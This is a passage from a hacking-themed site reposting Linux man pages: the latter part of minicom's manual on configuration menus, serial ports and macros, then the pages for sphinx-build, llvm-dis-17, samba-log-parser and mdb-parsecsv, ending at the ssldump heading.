Which specific dial string you want to use to connect. There are three different dial strings (prefixes and suffixes) that can be configured in the Modem and dialing menu.

D - Local echo
can be on or off for this system (if your version of minicom supports it).

E - Script
The script that must be executed after a successful connection is made (see the manual for runscript)

F - Username
The username that is passed to the runscript program. It is passed in the environment string “$LOGIN”.

G - Password
The password is passed as “$PASS”.

H - Terminal Emulation
Use ANSI or VT100 emulation.

I - Backspace key sends
What code (Backspace or Delete) the backspace key sends.

J - Linewrap
Can be on or off.

K - Line settings
Bps rate, bits, parity and number of stop bits to use for this connection. You can choose current for the speed, so that it will use whatever speed is being used at that moment (useful if you have multiple modems).

L - Conversion table
You may specify a character conversion table to be loaded whenever this entry answers, before running the login script. If this field is blank, the conversion table stays unchanged.

The edit menu also shows the latest date and time when you called this entry and the total number of calls there, but doesn’t let you change them. They are updated automatically when you connect.

The moVe command lets you move the highlighted entry up or down in the dialing directory with the up/down arrow keys or the k and j keys. Press Enter or ESC to end moving the entry.

CONFIGURATION

By pressing C-A O you will be thrown into the setup menu.

Filenames and paths

This menu defines your default directories.

A - Download directory
where the downloaded files go to.

B - Upload directory
where the uploaded files are read from.

C - Script directory
Where you keep your login scripts.

D - Script program
Which program to use as the script interpreter. Defaults to the program “runscript”, but if you want to use something else (eg, /bin/sh or “expect”) it is possible. Stdin and stdout are connected to the modem, stderr to the screen.

If the path is relative (ie, does not start with a slash) then it’s relative to your home directory, except for the script interpreter.

E - Kermit program
Where to find the executable for kermit, and it’s options. Some simple macro’s can be used on the command line: ‘%l’ is expanded to the complete filename of the dial out-device, ‘%f’ is expanded to the serial port file descriptor and ‘%b’ is expanded to the current serial port speed.

F - Logging options
Options to configure the logfile writing.

A - File name
Here you can enter the name of the logfile. The file will be written in your home directory, and the default value is “minicom.log”. If you blank the name, all logging is turned off.

B - Log connects and hangups
This option defines whether or not the logfile is written when the remote end answers the call or hangs up. Or when you give the hangup command yourself or leave minicom without hangup while online.

C - Log file transfers
Do you want log entries of receiving and sending files.

The ’log’ command in the scripts is not affected by logging options B and C. It is always executed, if you just have the name of the log file defined.

File Transfer Protocols

Protocols defined here will show up when C-A s/r is pressed. “Name” in the beginning of the line is the name that will show up in the menu. “Program” is the path to the protocol. “Name” after that defines if the program needs an argument, e.g. a file to be transmitted. U/D defines if this entry should show up in the upload or the download menu. Fullscr defines if the program should run full screen, or that minicom will only show it’s stderr in a window. IO-Red defines if minicom should attach the program’s standard in and output to the modem port or not. “Multi” tells the filename selection window whether or not the protocol can send multiple files with one command. It has no effect on download protocols, and it is also ignored with upload protocols if you don’t use the filename selection window. The old sz and rz are not full screen, and have IO-Red set. However, there are curses based versions of at least rz that do not want their stdin and stdout redirected, and run full screen. All file transfer protocols are run with the UID of the user, and not with UID=root. ‘%l’, ‘%f’ and ‘%b’ can be used on the command line as with kermit. Within this menu you can also define if you want to use the filename selection window when prompted for files to upload, and if you like to be prompted for the download directory every time the automatic download is started. If you leave the download directory prompt disabled, the download directory defined in the file and directory menu is used.

Serial port setup

A - Serial device
/dev/tty1 or /dev/ttyS1 for most people. /dev/cua<n> is still possible under GNU/Linux, but no longer recommended as these devices are obsolete and many systems with kernel 2.2.x or newer don’t have them. Use /dev/ttyS<n> instead. You may also have /dev/modem as a symlink to the real device.
If you have modems connected to two or more serial ports, you may specify all of them here in a list separated by space, comma or semicolon. When Minicom starts, it checks the list until it finds an available modem and uses that one. (However, you can’t specify different init strings to them… at least not yet.)
To use a UNIX socket for communication the device name must be prefixed with “unix#” following by the full path and the filename of the socket. Minicom will then try to connect to this socket as a client. As long as it cannot connect to the socket it stays ‘offline’. As soon as the connection establishes, minicom goes ‘online’. If the server closes the socket, minicom switches to ‘offline’ again.

B - Lock file location
On most systems This should be /usr/spool/uucp. GNU/Linux systems use /var/lock. If this directory does not exist, minicom will not attempt to use lockfiles.

C - Callin program
If you have a uugetty or something on your serial port, it could be that you want a program to be run to switch the modem cq. port into dialin/dialout mode. This is the program to get into dialin mode.

D - Callout program
And this to get into dialout mode.

E - Bps/Par/Bits
Default parameters at startup.

If one of the entries is left blank, it will not be used. So if you don’t care about locking, and don’t have a getty running on your modemline, entries B - D should be left blank.

Modem and Dialing

Here, the parameters for your modem are defined. I will not explain this further because the defaults are for generic Hayes modems, and should work always. This file is not a Hayes tutorial :-) The only things worth noticing are that control characters can be sent by prefixing them with a ‘^’, in which ‘^^’ means ‘^’ itself, and the ‘\ character must also be doubled as ‘', because backslash is used specially in the macro definitions. Some options however, don’t have much to do with the modem but more with the behaviour of minicom itself:

M - Dial time
The number of seconds before minicom times out if no connection is established.

N - Delay before redial
Minicom will redial if no connection was made, but it first waits some time.

O - Number of tries
Maximum number of times that minicom attempts to dial.

P - Drop DTR time
If you set this to 0, minicom hangs up by sending a Hayes-type hangup sequence. If you specify a non-zero value, the hangup will be done by dropping the DTR line. The value tells in seconds how long DTR will be kept down.

Q - Auto bps detect
If this is on, minicom tries to match the dialed party’s speed. With most modern modems this is NOT desirable, since the modem buffers the data and converts the speed.

R - Modem has DCD line
If your modem, and your O/S both support the DCD line (that goes ‘high’ when a connection is made) minicom will use it. When you have this option on, minicom will also NOT start dialing while you are already online.

S - Status line shows DTE speed / line speed
You can toggle the status line to show either the DTE speed (the speed which minicom uses to communicate with your modem) or the line speed (the speed that your modem uses on the line to communicate with the other modem). Notice that the line speed may change during the connection, but you will still only see the initial speed that the modems started the connection with. This is because the modem doesn’t tell the program if the speed is changed. Also, to see the line speed, you need to have the modem set to show it in the connect string. Otherwise you will only see 0 as the line speed.

T - Multi-line untag
You can toggle the feature to untag entries from the dialing directory when a connection is established to a multi-line BBS. All the tagged entries that have the same name are untagged.

Note that a special exception is made for this menu: every user can change all parameters here, but some of them will not be saved.

Screen and keyboard

A - Command key is
the ‘Hot Key’ that brings you into command mode. If this is set to ‘ALT’ or ‘meta key’, you can directly call commands by alt-key instead of HotKey-key.

B - Backspace key sends
There still are some systems that want a VT100 to send DEL instead of BS. With this option you can enable that stupidity. (Eh, it’s even on by default…)

C - Status line is
Enabled or disabled. Some slow terminals (for example, X-terminals) cause the status line to jump “up and down” when scrolling, so you can turn it off if desired. It will still be shown in command-mode.

D - Alarm sound
If turned on, minicom will sound an alarm (on the console only) after a successful connection and when up/downloading is complete.

E - Foreground Color (menu)
indicates the foreground color to use for all the configuration windows in minicom.

F - Background Color (menu)
indicates the background color to use for all the configuration windows in minicom. Note that minicom will not allow you to set foreground and background colors to the same value.

G - Foreground Color (term)
indicates the foreground color to use in the terminal window.

H - Background Color (term)
indicates the background color to use in the terminal window. Note that minicom will not allow you to set foreground and background colors to the same value.

I - Foreground Color (stat)
indicates the foreground color to use in for the status bar.

J - Background Color (stat)
indicates the color to use in for the status bar. Note that minicom will allow you to set the status bar’s foreground and background colors to the same value. This will effectively make the status bar invisible but if these are your intentions, please see the option

K - History buffer size
The number of lines to keep in the history buffer (for backscrolling).

L - Macros file
is the full path to the file that holds macros. Macros allow you to define a string to be sent when you press a certain key. In minicom, you may define F1 through F12 to send up to 256 characters [this is set at compile time]. The filename you specify is verified as soon as you hit ENTER. If you do not have permissions to create the specified file, an error message will so indicate and you will be forced to re-edit the filename. If you are permitted to create the file, minicom checks to see if it already exists. If so, it assumes it’s a macro file and reads it in. If it isn’t, well, it’s your problem :-) If the file does not exist, the filename is accepted.

M - Edit Macros
opens up a new window which allows you to edit the F1 through F12 macros.

N - Macros enabled
- Yes or No. If macros are disabled, the F1-F12 keys will just send the VT100/VT220 function key escape sequences.

O - Character conversion
The active conversion table filename is shown here. If you can see no name, no conversion is active. Pressing O, you will see the conversion table edit menu.

Edit Macros
Here, the macros for F1 through F12 are defined. The bottom of the window shows a legend of character combinations that have special meaning. They allow you to enter special control characters with plain text by prefixing them with a ‘^’, in which ‘^^’ means ‘^’ itself. You can send a 1 second delay with the ‘^~’ code. This is useful when you are trying to login after ftp’ing or telnet’ing somewhere. You can also include your current username and password from the phone directory in the macros with ‘\u’ and ‘\p’, respectively. If you need the backslash character in the macro, write it doubled as ‘'. To edit a macro, press the shown number or letter and you will be moved to the end of the macro. When editing the line, you may use the left & right arrows, Home & End keys, Delete & BackSpace, and ESC and RETURN. ESC cancels any changes made while ENTER accepts the changes.

Character conversion
Here you can edit the character conversion table. If you are not an American, you know that in many languages there are characters that are not included in the ASCII character set, and in the old times they may have replaced some less important characters in ASCII and now they are often represented with character codes above 127. AND there are various different ways to represent them. This is where you may edit conversion tables for systems that use a character set different from the one on your computer.

A - Load table
You probably guessed it. This command loads a table from the disk. You are asked a file name for the table. Predefined tables .mciso, .mcpc8 and .mcsf7 should be included with the program. Table .mciso does no conversion, .mcpc8 is to be used for connections with systems that use the 8-bit pc character set, and .mcsf7 is for compatibility with the systems that uses the good old 7-bit coding to replace the characters {|}[]\ with the diacritical characters used in Finnish and Swedish.

B - Save table
This one saves the active table on the filename you specify.

C - edit char
This is where you can make your own modifications to the existing table. First you are asked the character value (in decimal) whose conversion you want to change. Next you’ll say which character you want to see on your screen when that character comes from the outside world. And then you’ll be asked what you want to be sent out when you enter that character from your keyboard.

D - next screen
E - prev screen
Yeah, you probably noticed that this screen shows you what kind of conversions are active. The screen just is (usually) too small to show the whole table at once in an easy-to-understand format. This is how you can scroll the table left and right.

F - convert capture
Toggles whether or not the character conversion table is used when writing the capture file.

Save setup as dfl
Save the parameters as the default for the next time the program is started. Instead of dfl, any other parameter name may appear, depending on which one was used when the program was started.

Save setup as..
Save the parameters under a special name. Whenever Minicom is started with this name as an argument, it will use these parameters. This option is of course privileged to root.

Exit
Escape from this menu without saving. This can also be done with ESC.

Exit from minicom
Only root will see this menu entry, if he/she started minicom with the ‘-s’ option. This way, it is possible to change the configuration without actually running minicom.

STATUS LINE

The status line has several indicators, that speak for themselves. The mysterious APP or NOR indicator probably needs explanation. The VT100 cursor keys can be in two modes: applications mode and cursor mode. This is controlled by an escape sequence. If you find that the cursor keys do not work in, say, vi when you’re logged in using minicom then you can see with this indicator whether the cursor keys are in applications or cursor mode. You can toggle the two with the C-A I key. If the cursor keys then work, it’s probably an error in the remote system’s termcap initialization strings (is).

LOCALES

Minicom has support for local languages. This means you can change most of the English messages and other strings to another language by setting the environment variable LANG.

MISC

If minicom is hung, kill it with SIGTERM . (This means kill -15, or since sigterm is default, just plain “kill <minicompid>”. This will cause a graceful exit of minicom, doing resets and everything. You may kill minicom from a script with the command “! killall -9 minicom” without hanging up the line. Without the -9 parameter, minicom first hangs up before exiting.

Since a lot of escape sequences begin with ESC (Arrow up is ESC [ A), Minicom does not know if the escape character it gets is you pressing the escape key, or part of a sequence.

An old version of Minicom, V1.2, solved this in a rather crude way: to get the escape key, you had to press it twice.

As of release 1.3 this has bettered a little: now a 1-second timeout is builtin, like in vi. For systems that have the select() system call the timeout is 0.5 seconds. And… surprise: a special Linux-dependent hack :-) was added. Now, minicom can separate the escape key and escape-sequences. To see how dirty this was done, look into wkeys.c. But it works like a charm!

DEBIAN SPECIFIC

In Debian GNU/Linux systems, minicom is not setuid root. Users that need to use it have to get added to the dialout group in order to use serial port devices.

FILES

Minicom keeps it’s configuration files in the directory /etc/minicom. You’ll find the demo files for runscript(1), and the examples of character conversion tables in /usr/share/doc/minicom. The conversion tables are named something like mc.* in the tables subdirectory, but you probably want to copy the ones you need in your home directory as something beginning with a dot.

minirc.*
$HOME/.minirc.*
$HOME/.dialdir
$HOME/minicom.log
/usr/share/locale/*/LC_MESSAGES/minicom.mo

SEE ALSO

runscript(1)

BUGS

Please report any bugs to [email protected]. Thank you!

AUTHORS

The original author of minicom is Miquel van Smoorenburg ([email protected]). He wrote versions up to 1.75.
Jukka Lahtinen ([email protected], [email protected]) has been responsible for new versions since 1.78, helped by some other people, including:
[email protected] wrote the History buffer searching to 1.79.
Arnaldo Carvalho de Melo ([email protected]) did the internationalization and the Brazilian Portuguese translations.
Jim Seymour ([email protected]) wrote the multiple modem support and the filename selection window used since 1.80.
Tomohiro Kubota ([email protected]) wrote the Japanese translations and the citation facility, and did some fixes.
Gael Queri ([email protected]) wrote the French translations.
Arkadiusz Miskiewicz ([email protected]) wrote the Polish translations.
Kim Soyoung ([email protected]) wrote the Korean translations.
Jork Loeser ([email protected]) provided the socket extension.

Most of this man page is copied, with corrections, from the original minicom README, but some pieces and the corrections are by Michael K. Johnson.

Jukka Lahtinen ([email protected]) has added some information of the changes made after version 1.75.

Adam Lackorzynski ([email protected]) is the current maintainer of minicom.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

19 - Linux cli command sphinx-build

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sphinx-build and provides detailed information about the command sphinx-build, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sphinx-build.

NAME 🖥️ sphinx-build 🖥️

build - Sphinx documentation generator tool

SYNOPSIS

sphinx-build [options] <sourcedir> <outputdir> [filenames …]

DESCRIPTION

sphinx-build generates documentation from the files in <sourcedir> and places it in the <outputdir>.

sphinx-build looks for <sourcedir>/conf.py for the configuration settings. sphinx-quickstart(1) may be used to generate template files, including conf.py.

sphinx-build can create documentation in different formats. A format is selected by specifying the builder name on the command line; it defaults to HTML. Builders can also perform other tasks related to documentation processing. For a list of available builders, refer to Builders.

By default, everything that is outdated is built. Output only for selected files can be built by specifying individual filenames.

OPTIONS

-M buildername
Select a builder, using the make-mode. See Builders for a list of all of Sphinx’s built-in builders. Extensions can add their own builders.

IMPORTANT:

Sphinx only recognizes the -M option if it is used first, along with the source and output directories, before any other options are passed. For example:

sphinx-build -M html ./source ./build -W –keep-going

The make-mode provides the same build functionality as a default Makefile or Make.bat, and provides the following additional build pipelines:

latexpdf
Build LaTeX files and run them through pdflatex, or as per latex_engine setting. If language is set to ‘ja’, will use automatically the platex/dvipdfmx latex to PDF pipeline.

info
Build Texinfo files and run them through makeinfo.

NOTE:

The default output directory locations when using make-mode differ from the defaults when using -b.

  • doctrees are saved to <outputdir>/doctrees

  • output files are saved to <outputdir>/<builder name>

Added in version 1.2.1.

-b buildername, –builder buildername
Selects a builder.

See Builders for a list of all of Sphinx’s built-in builders. Extensions can add their own builders.

Changed in version 7.3: Add –builder long option.

-a, –write-all
If given, always write all output files. The default is to only write output files for new and changed source files. (This may not apply to all builders.)

NOTE:

This option does not re-read source files. To read and re-process every file, use –fresh-env instead.

Changed in version 7.3: Add –write-all long option.

-E, –fresh-env
Don’t use a saved environment (the structure caching all cross-references), but rebuild it completely. The default is to only read and parse source files that are new or have changed since the last run.

Changed in version 7.3: Add –fresh-env long option.

-t tag, –tag tag
Define the tag tag. This is relevant for only directives that only include their content if this tag is set.

Added in version 0.6.

Changed in version 7.3: Add –tag long option.

-d path, –doctree-dir path
Since Sphinx has to read and parse all source files before it can write an output file, the parsed source files are cached as “doctree pickles”. Normally, these files are put in a directory called .doctrees under the build directory; with this option you can select a different cache directory (the doctrees can be shared between all builders).

Changed in version 7.3: Add –doctree-dir long option.

-j N, –jobs N
Distribute the build over N processes in parallel, to make building on multiprocessor machines more effective. Note that not all parts and not all builders of Sphinx can be parallelized. If auto argument is given, Sphinx uses the number of CPUs as N.

Added in version 1.2: This option should be considered experimental.

Changed in version 1.7: Support auto argument.

Changed in version 6.2: Add –jobs long option.

-c path, –config-dir path
Don’t look for the conf.py in the source directory, but use the given configuration directory instead. Note that various other files and paths given by configuration values are expected to be relative to the configuration directory, so they will have to be present at this location too.

Added in version 0.3.

Changed in version 7.3: Add –config-dir long option.

-C, –isolated
Don’t look for a configuration file; only take options via the –define option.

Added in version 0.5.

Changed in version 7.3: Add –isolated long option.

-D setting=value, –define setting=value
Override a configuration value set in the conf.py file. The value must be a number, string, list or dictionary value.

For lists, you can separate elements with a comma like this: -D html_theme_path=path1,path2.

For dictionary values, supply the setting name and key like this: -D latex_elements.docclass=scrartcl.

For boolean values, use 0 or 1 as the value.

Changed in version 0.6: The value can now be a dictionary value.

Changed in version 1.3: The value can now also be a list value.

Changed in version 7.3: Add –define long option.

-A name=value, –html-define name=value
Make the name assigned to value in the HTML templates.

Added in version 0.5.

Changed in version 7.3: Add –html-define long option.

-n, –nitpicky
Run in nit-picky mode. Currently, this generates warnings for all missing references. See the config value nitpick_ignore for a way to exclude some references as “known missing”.

Changed in version 7.3: Add –nitpicky long option.

-N, –no-color
Do not emit colored output.

Changed in version 1.6: Add –no-color long option.

–color
Emit colored output. Auto-detected by default.

Added in version 1.6.

-v, –verbose
Increase verbosity (log-level). This option can be given up to three times to get more debug logging output. It implies -T.

Added in version 1.2.

Changed in version 7.3: Add –verbose long option.

-q, –quiet
Do not output anything on standard output, only write warnings and errors to standard error.

Changed in version 7.3: Add –quiet long option.

-Q, –silent
Do not output anything on standard output, also suppress warnings. Only errors are written to standard error.

Changed in version 7.3: Add –silent long option.

-w file, –warning-file file
Write warnings (and errors) to the given file, in addition to standard error.

Changed in version 7.3: ANSI control sequences are stripped when writing to file.

Changed in version 7.3: Add –warning-file long option.

-W, –fail-on-warning
Turn warnings into errors. This means that the build stops at the first warning and sphinx-build exits with exit status 1.

Changed in version 7.3: Add –fail-on-warning long option.

–keep-going
With -W option, keep going processing when getting warnings to the end of build, and sphinx-build exits with exit status 1.

Added in version 1.8.

-T, –show-traceback
Display the full traceback when an unhandled exception occurs. Otherwise, only a summary is displayed and the traceback information is saved to a file for further analysis.

Added in version 1.2.

Changed in version 7.3: Add –show-traceback long option.

-P, –pdb
(Useful for debugging only.) Run the Python debugger, pdb, if an unhandled exception occurs while building.

Changed in version 7.3: Add –pdb long option.

-h, –help, –version
Display usage summary or Sphinx version.

Added in version 1.2.

You can also give one or more filenames on the command line after the source and build directories. Sphinx will then try to build only these output files (and their dependencies).

ENVIRONMENT VARIABLES

The sphinx-build refers following environment variables:

MAKE
A path to make command. A command name is also allowed. sphinx-build uses it to invoke sub-build process on make-mode.

Makefile Options

The Makefile and make.bat files created by sphinx-quickstart usually run sphinx-build only with the -b and -d options. However, they support the following variables to customize behavior:

PAPER
This sets the ‘papersize’ key of latex_elements: i.e. PAPER=a4 sets it to ‘a4paper’ and PAPER=letter to ’letterpaper’.

NOTE:

Usage of this environment variable got broken at Sphinx 1.5 as a4 or letter ended up as option to LaTeX document in place of the needed a4paper, resp. letterpaper. Fixed at 1.7.7.

SPHINXBUILD
The command to use instead of sphinx-build.

BUILDDIR
The build directory to use instead of the one chosen in sphinx-quickstart.

SPHINXOPTS
Additional options for sphinx-build. These options can also be set via the shortcut variable O (capital ‘o’).

NO_COLOR
When set (regardless of value), sphinx-build will not use color in terminal output. NO_COLOR takes precedence over FORCE_COLOR. See no-color.org for other libraries supporting this community standard.

Added in version 4.5.0.

FORCE_COLOR
When set (regardless of value), sphinx-build will use color in terminal output. NO_COLOR takes precedence over FORCE_COLOR.

Added in version 4.5.0.

DEPRECATION WARNINGS

If any deprecation warning like RemovedInSphinxXXXWarning are displayed when building a user’s document, some Sphinx extension is using deprecated features. In that case, please report it to author of the extension.

To disable the deprecation warnings, please set PYTHONWARNINGS= environment variable to your environment. For example:

  • PYTHONWARNINGS= make html (Linux/Mac)

  • export PYTHONWARNINGS= and do make html (Linux/Mac)

  • set PYTHONWARNINGS= and do make html (Windows)

  • modify your Makefile/make.bat and set the environment variable

SEE ALSO

sphinx-quickstart(1)

COPYRIGHT

2007-2024, the Sphinx developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

20 - Linux cli command llvm-dis-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dis-17 and provides detailed information about the command llvm-dis-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dis-17.

NAME 🖥️ llvm-dis-17 🖥️

dis - LLVM disassembler

SYNOPSIS

llvm-dis [options] [filename]

DESCRIPTION

The llvm-dis command is the LLVM disassembler. It takes an LLVM bitcode file and converts it into human-readable LLVM assembly language.

If filename is omitted or specified as -, llvm-dis reads its input from standard input.

If the input is being read from standard input, then llvm-dis will send its output to standard output by default. Otherwise, the output will be written to a file named after the input file, with a .ll suffix added (any existing .bc suffix will first be removed). You can override the choice of output file using the -o option.

OPTIONS

-f

Enable binary output on terminals. Normally, llvm-dis will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-dis will write raw bitcode regardless of the output device.

-help

Print a summary of command line options.

-o filename

Specify the output file name. If filename is -, then the output is sent to standard output.

EXIT STATUS

If llvm-dis succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

llvm-as(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

21 - Linux cli command samba-log-parser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command samba-log-parser and provides detailed information about the command samba-log-parser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the samba-log-parser.

NAME 🖥️ samba-log-parser 🖥️

log-parser - Samba (winbind) trace parser.

options: -h, –help show this help message and exit –traceid ID specify the traceid of the trace records –pid PID specify the pid of winbind client –breakdown breakdown the traces into per traceid files –merge-by-timestamp merge logs by timestamp –flow show the request/sub-request flow traces –flow-compact show the request/sub-request flow traces without dcerpc details

SYNOPSIS

samba-log-parser {path} [–pid=PID] [–traceid=ID] [–breakdown] [–merge-by-timestamp] [–flow] [–flow-compact] [-h|–help]

DESCRIPTION

This tool is part of the samba(7) suite.

The samba-log-parser program parses samba winbind logs.

OPTIONS

The following options are available to the samba-log-parser program.

–pid=PID

Display traces for winbind client with the matching PID.

–traceid=ID

Display traces with matching traceid debug header field.

–breakdown

Break down all traces to separate files in the current working directory. For each traceid, three files are created: traceid.full traceid.flow traceid.flowcompact

–merge-by-timestamp

Sort the trace lines according to the timestamp. Works with log files without traceid header field as well.

–flow

Display the request/sub-request flow.

–flow-compact

Display the request/sub-request flow without dcerpc call details.

EXAMPLES

Show the flow traces for trace id 1234 from log file log.winbind:

samba-log-parser –traceid 1234 –flow /var/log/samba/log.winbind

Show the full traces for winbind client with PID 999999 sorted using the timestamp for log files found in the samba log directory:

samba-log-parser –pid 999999 –merge-by-timestamp /var/log/samba

Break down the traces into separate files according to traceid sorted using the timestamp for log files found in the samba log directory:

samba-log-parser –breakdown –merge-by-timestamp /var/log/samba

Sort traces using the timestamp for log files found in the samba log directory. Traces do not need to contain the traceid header field.

samba-log-parser –merge-by-timestamp /var/log/samba

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

22 - Linux cli command mdb-parsecsv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-parsecsv and provides detailed information about the command mdb-parsecsv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-parsecsv.

NAME 🖥️ mdb-parsecsv 🖥️

parsecsv** - Convert CSV table dump into C file.

SYNOPSIS

mdb-parsecsv file

DESCRIPTION

mdb-parsecsv is a utility program distributed with MDB Tools.

mdb-parsecsv takes a CSV file representing a database table, and converts it into a C array.

NOTES

If the first argument does not exist as a file**, mdb-parsecsv will look for** the same filename with ‘.txt’ appended.

The file extension is stripped, and the output written to the base name plus a ‘.c’ extension.

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file**. Default is CP1252. See iconv(1).**

MDBICONV
Defines the output charset to use for the SQL file**. Default is UTF-8. mdbtools must have been compiled with iconv.**

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

FUTURE DIRECTIONS

mdb-parsecsv is deprecated. Soon, it will no longer be distributed.

It is the feeling of developers that it is not used, as C code generation is now usually replaced by more generic approaches, including libmdb calls and odbc.

However, should you find this tool useful, drop us a line at https://github.com/mdbtools/mdbtools/issues/197 and we’ll consider maintaining it.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-parsecsv utility was written by Brian Bruns.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

23 - Linux cli command ssldump

